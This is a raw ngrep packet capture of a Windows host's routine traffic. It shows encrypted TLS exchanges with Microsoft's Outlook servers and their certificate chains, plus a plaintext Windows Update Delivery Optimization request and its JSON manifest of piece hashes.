#65\n........*.....$....\n......C...1.-....S......T.iI.....!.'jUq.j...~..|[..b.O.nys...0......c.'.a..o..]:.<..V..O`.R|../...T.Ve^;.....M.........C^:...ah.f.!........q..[9{u.....@..VzZ....c.........CBQ.,-.>=|.'K..A..e..K5....|m%..~6...k.-..k......X.....0.!.l..@..:F..!t..ZnQ..Jn.......]..**.<^...w.R9...I........C...........(..............EJ.hfa3....C..t........h......@.........D.uK..y......BD...c.hW.,..U4...Cq..H..6H....B..&..7...S\n##\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #67\n....R............i..\n...t(. -.9...p....h^...ZL..K...........(J.a..3...HU........V......\n##\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #69\n....!........._..`......h..x...C......\n##\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #71\n....o........m..3.&....l~n..ZR...J.I7S.].co.!...$.{.....,G.2...z..Q_..k...8.gq..G.M.ad+.*...].I.1. ....b..ZhT...g..X\n##\nT 52.98.232.34:443 -> 10.152.152.11:64008 [AP] #73\n....!................:..5./u1P..W[..Mj....*........m...I...q.c.]$...?..bIN@tLD...Q%.,..6ejD.....V\\3..b..*....:...9.!Wr.......fD.FYD....L....mq..fs.Z...$......,.H{..\n......S.w.3..r[.........>T..q..$@z;...P._,4...1.q..q\n=|.......GC.....s..I..x..Y*.Vn..O................i.g....I..p..7.|Qi.....0GbaZ..........B..*..<.]+..5..c....5..l.C9..(..^...#..P..=s.]...I......wT.fj,/@g.mN.>...L........:RL..z!..........JLQ....+...gO..V.p....31'...0...a0G.N..i...9.......E.r....IJZ..!.fq...r...h.)*.4.....Av...S...?~..J..|TF!E..t#.....>.)..0..`{....\\.C.k..KW..::...?..W.z....UnUS..b~g\nC..V.........x.+.....$iXi....I...&...}?b-B$Y....,..Q.....5..E..:mt.Y...u.s.p.Jd......|R=...6..T.1.oD.~...:...k....)Pdf.:3d\\.f...+..j.e.D...[....x.s.....w.....&n.......1.8..t..h.zA.......f.s.O..^..$;z..7..D.....L...IOy3..q.s....'\"\"m....\"\".$..2.V..4..#T..<..'.&....g..E..x%...~..,....#.q................Ur.p....1P!q. )...t.t&Pq.K.._..?A].....lj.C.8.'....X.F|\\E{...<....h...|...DD^.m..6...T.....6v.H...7..(....../.[=^Bo=.......5..f...C..G.`.....I!.....x...kaAi.......?..$....y.k.\n.%W......7Vt.\n>..qQ.........!........pQ.....W..*M........6...q\n##\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #75\n....;............`.Clo}....V}.x... .......*a.uBw....8..... 3.B.H\n##\nT 52.98.232.34:443 -> 10.152.152.11:64008 [AP] #77\n...............n.F.4N......% ....R..O...K[..Y.._...$.V8z.......(..#.7.H1Q?.....?.Zs..=.Zp<1.$#=...2X.a'.%..e..]...\\....M)...:1J..m....45.]...[...D3Y..k..W.....tN.]O.D.?.,h. ....5\n,.a..:..!N.RE.Y..jB.OiP.i...>;W...Z...R.rq.P.i......U0.>.V..a..4.a.Bm.`......wM(.A.w...N.A.\n..._#./CS..N!...9..$.\\-....8...M.qk......:B.N0...;q6......c=......m.'Q.s......n..j.AOR.@x{.V..h*.:...n..Xi.......QH7.T'..aL..'W|C.......f}.@....O...64....k.i.B...].$..I.A.B..;.....97..o.r..Y.b....j4...v- >t9..G. b....k.....u..n..up..7e4=....X(..!.J_EXm....Zy.DnQ$\n...\"\",.Bh...k6.U..!+!.o.{Wx>..T..}jyZS...!....k.. t..H..>...(.5.....uT8..K...(r..H;S....Aj.E.P.3........ ...;aj....._......Kp.Y..%.m..f..]...p..hE.4..._.|..F/...jF\n##\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #79\n....A......................c.....<..).L\\...._Jd.....9.@...V......q\\.\nX\n##\nT 52.98.232.34:443 -> 10.152.152.11:64008 [AP] #81\n....p........=.s|Y.!...t.....Sow;XjQf..q.ea.....1.[..N.Fx.@w.P..\n.#....J\ng.^....7..:..I1.....le..\n8.KC#t..)...i.nc...[........&p........>x.'..`ypd.....on\n|......t../...d.;S.....;........<.pe..~HGgMD...(..t.;.....W....e.(..@.+..A......nG....6xam.@........N{...xj..9.O\n7.1H9Q.....+..h=P-..m......r.uUqj.._....n]Lt.-&N.....[6.\\..m..%..l.@G1R#...aY.[...w.X.....R....$....7...^..B<(s.....4....).Lbw[``.Q....Y..+ga.{.....n.Z..[n...:..T.@._.y.cS.n..'..SI......0J....`...v;.'5.].......&..[8$....Id.$......<H...0.i.....J..5G.7..H..{.Ts....O...Y...;..wOtX@_w2.......'<.M.#..+.BMU.^\\.O.......S5.9.9...'^$..q....6......G...<..i..|&B.tQE.)j..\n#####\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #86\n...........j/..\\..@.....(...N\n...&...a0......&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n...............................................#.........h2.http/1.1.........\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #88\n........f..j...~.U...'..L..8...B.ArDOWNGRD. .-.....D...G &..........O..@ K...0........#.........h2......................S0..O0..7.......C.\n..T..........\n..0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260308001703Z..270303001703Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0...*.H.............0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r..'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG...u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0...+.....7.\n..0.0\n..+.......0<..+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.\n#\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #89\nu.e0...U.%..0\n..+.......0...*.H...............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'..i../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E.r..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0...*.H........0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20...250801200259Z..290603200259Z0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0...*.H.............0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B.......%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML.T...=M\nF.b.#\"\"Q..7L...@......S.........0..}0...U...........0...+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%..0\n..+.......0...+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...*.H.............|Hq...E.t..?I....u..P..K....._.]5.l....a`..8...5..!:..X.8|....M......{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6...CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...250521000000Z..290619235959Z0Q1.0...U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0...*.H.............0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@...........t../.....3.W.. |!.....Nd.Z.Ku...\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #91\ndM.R.........?..NE9^.)...g........J..9....3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.....m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n.......8B4.i....s..C.C.X.O....=.:@8.....d..c...U.Z....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0...*.H................+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B.x...e.. P...j:...H.........u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg...L...+.\"\"=}....c8,.V\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #93\n...R....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...C...?0..;\n.....40..0..+.....0.....!0...0..........\np..50..T.i.FO:...20260613135308Z0..0..0L0...+...........j....m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260613101309Z....20260621103309Z. 0.0...+.....7......260617102309Z0...*.H..............U..x......V..[....,.F.G.....2|.|..P+......ct...j&.\"\".PoG..h.t..;...>...bm0..]..$.}B.......,...a......ty(..u..........cn.i;......3..&....&...1.q|....(.\n.2.......-.....p.L......}......\n_2..p....t.........U.;......DW..h...D.-..G...U?.2.../^.M.s.$Lhk.x$.XR.nE....=0..90..50..........C.YIMt.j.#s.\"\"...YIM0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260612155022Z..260712155022Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP Cert0..\"\"0...*.H.............0..\n.......8...Q`.*c.z.S.Wo.........-3..RQ.fc.....r|....d1..w&.l....qE...&H.@.....%..t......I!...~v+..0...|.....6h|...P.........V.......v1p+..c_.>....4.|...M\"\"Q.-%T..3(.cj..I..jL....'.]...........O.z.0...Tf..Y.6......x.{j\ni...et.0..gA.....\n.\n6...............K...`.+.........0..0...U.......0.0...U.%..0\n..+.......0...U..........\np..50..T.i.FO:.0...U.#..0...T.....}.....4dDg.u.e0...U...........0<..+.....7.../0-.%+.....7.........F...........]...\"\"......d...0...+.....7.\n..0.0\n..+.......0...+.....0......0...*.H.............MFE._........S4.b.ue....%O.....p..M6..5.~C..T....mjL.........B.i4}Tq......>.......A..u?}'...........?......8J...I..... H..bWF.l.E..?Ch..'H.U..`D{....E..@T.x...&.....)..:E....U..B2............+.{YOmG...%I8.N..x.j3'.Z .:.C...$3....;.I.....c|(z.f.......>4.....XcO`.....S........M-.PJ.VA.....,\n...I.{......4...WyX....Ix......P.!-.c.........D.....2..\\q7H.......F.3_..~T=..+...03....;.{uq$Do\n. t..qz..X-K..^...3.k.Mk.[V.T..i..p).WK.~.u..;.......$.(.x..<.7...K..........^D[ya.;......j........9.......]H....>G<h.{..mkG 2...i...a.=f.R...[......H..6\n.C..L.F...3.?.)i..?c....O.........V......\n.6.......N%..89r..e.v...sw.mC#..s^W.....0=..U.D@..]'..n.L..M...........i{..i.....dwa....g...C.o...K....1sh.Q..P..=..a..........V...q..Q&P...}8.Ec..........1..gCPJb...DU/.d...=.+..<..l...n.4\\8(Z^F......t$.V5.&.....,.>.5.-...%..K...H..B.L\n.N.i.b..o5C.............]..0._..P7....*.&..!6.......HCV.Fm....\n##\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #95\n....f...ba...Nx......sj....p..\n....&...u>l!W.XQ.f..N..B.\"\".;.JE...T...w./Ll....?..e..8u...J.<.=.... ...uF.............(........R.....BKS......4.|a.j.X....i.=..\n#####\nT 10.152.152.11:64025 -> 194.36.32.201:80 [AP] #100\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 194.36.32.201.\n.\"\n0.0,NGrep,##,\"Payload: T 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #102\n........*.....$....\n......C...1.-..y.....?.......1Ob.7[.Q.....k5..L.......I..;3.U?.I..YA..=6........h..Y...%..<!4Q..)..<........K$.*....AtX......#.....\n&/d..uoCz..{.{...n.\nclD.\nJ|...R....u....,. ..O...m./.QM...,..U......Oc..........Y.Z0.... .............e*(.5..?>.b.....D.-#.JyUb%.V.1.Goe/.Bk9U.o..g...B.<.A..........(.........)y>..\nw..%.....hE.[..!.AZ|iA.......@.........bE..8..z0..-@..o1..S...`...hSv.........h..;...vMt......\n##\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #104\n....R........f..K...._.....w.K.....-..Z...,_.).._.....;.o3...ql.}...`V.../.,..^..6...R0\n##\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #106\n....o........1K3`^....8...p):.X..yD.F..4(7<............[X..z./.+lTH..#<...}n.g....(..........?M....TR.P.........|./P\n##\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #108\n....!.........F.......*..C\n.t.I..H..yQ\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #110\n....!..........DQ/yW.....EO.v..8;9J!..\n##\nT 194.36.32.201:80 -> 10.152.152.11:64025 [AP] #112\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Sun, 14 Jun 2026 14:28:48 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nAge: 10515.\nVia: 1.1 varnish.\nX-Served-By: cache-fra-eddf8230108-FRA.\nX-Cache: HIT.\nX-Cache-Hits: 0.\nX-Timer: S1780100242.525446,VS0,VE1.\nX-CID: 10006.\nX-CCC: 3ac4cb40-cbde-46b1-85f0-c65c0dcc80c6.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflB\n##\nT 194.36.32.201:80 -> 10.152.152.11:64025 [AP] #114\nJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\"\n##\nT 194.36.32.201:80 -> 10.152.152.11:64025 [AP] #116\n,\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #118\n....V...............6.`@.F.t.u...............3Sy!...X..o...&.;.0 ..........=...q.8C.r.M.K.Y.6..Ja...X7.]B.......8d...'...u.M.6....\n..:....o.@|...0........~...mN...w..ZZ...i...;\"\"...$z'.!..>.'z...v..v%.L..<...|.....V\"\".i....- K.`\"\"lx)..IV.L.?[.5..(.....K..e._.9....B4J.\\\\o.......S...I..n.4........j....K.\n3.H.\\.......r.o....O...8.....,.Vb..w..]+y%...LA..W.cx..\n6s.....f..a0..z..]lwgz..1f..r2.....UZ.B.M.\\Ro.P.Z1:.....)..\nY.#.k.Y..*.3..6q.E.j\\.&jx...0.\\+.dr.\"\"...)7..3.....t.....\"\"XKv[...t A.]b:...z.....H...*..{.g.wN]C.4.u.8>|.>...x}!....i.*.......~..r....... ..`..+........_...Z..n....\nIXv....s1#6...s....R..~11.\"\"...?R....:5.A...)..!n$o.FX..Hmlin?.k...p......[.WY.\"\"..e}.Q.M8.......s..2..Z..0..['A}...|P*....+~...ekb.....x....\\..O)....X.....N.(........z.....FG.......O.....U...P.v.(.H...Z).A.-|.[.....L....~.l.............XN..@+......A|..Hm0L.qf....0..e..........................KF.....m...U....EWw.......AQ..U...lA\n.c.[.....{7.t.q.....8.ix.MT.q_*X..HP.P.K..%..U.U.....&'.y...Or.\\...d..B...g..g.......e!..\"\"8..gG.._....m.7.......6O.<.kE...j.Z.0.pPz..N.8.ks............%K...r,.yP.4..w....!.........D.;.#s-[Q...:.... ..2...\n##\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #120\n....;.........V..0..L.!.XR..N.T.. .U...F.H......u..*Wf..\n....$To\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] #122\n..............................$......o.z...2Jc.T>..c.=.......OKJ.y.]..r..Q?Y7....G...E.(....!....L5......%.Q!*I.._?QZ$.1.....RN,L~9..Ia...o.G....a..[<tq..\"\"..)..O(YI.O..8...t...n....|BY.^=@L>......AP`...A....o...pb. ...oKs?+....6.I\"\"...\"\"N.....9..................6..zx.....we W_C.4...E..b.......-.7.Z>QG^x..[...+,...8E.H..<..!D....k.Zz.V)..3(d$.h.N..b.*...>e..........p...\\...z........7..nP.4....\\$.8G..#.p.F..E..w.I..N...b\"\"~.\n..'.........!......Cs.....Y....z...e..q.....S5Y.G.v3....h..,.F)..._.U.u<cj..s..WO.<.{.z..U.%...F..@...&.?/......./).K.RS.y.#....{{..M........\\;8...I..V..IB..0..7!/.{.g..w>C...C.\\^w......{.a{.X.UU..8r..._..^K..........&..$.\"\"+[v..3.i..:......\n##\nT 10.152.152.11:64012 -> 52.97.201.82:443 [AP] #124\n....A.........B..]..1.Y..R.5.......L.+.~...[.!bP~..n......b.J;......K?\n##\nT 52.97.201.82:443 -> 10.152.152.11:64012 [AP] 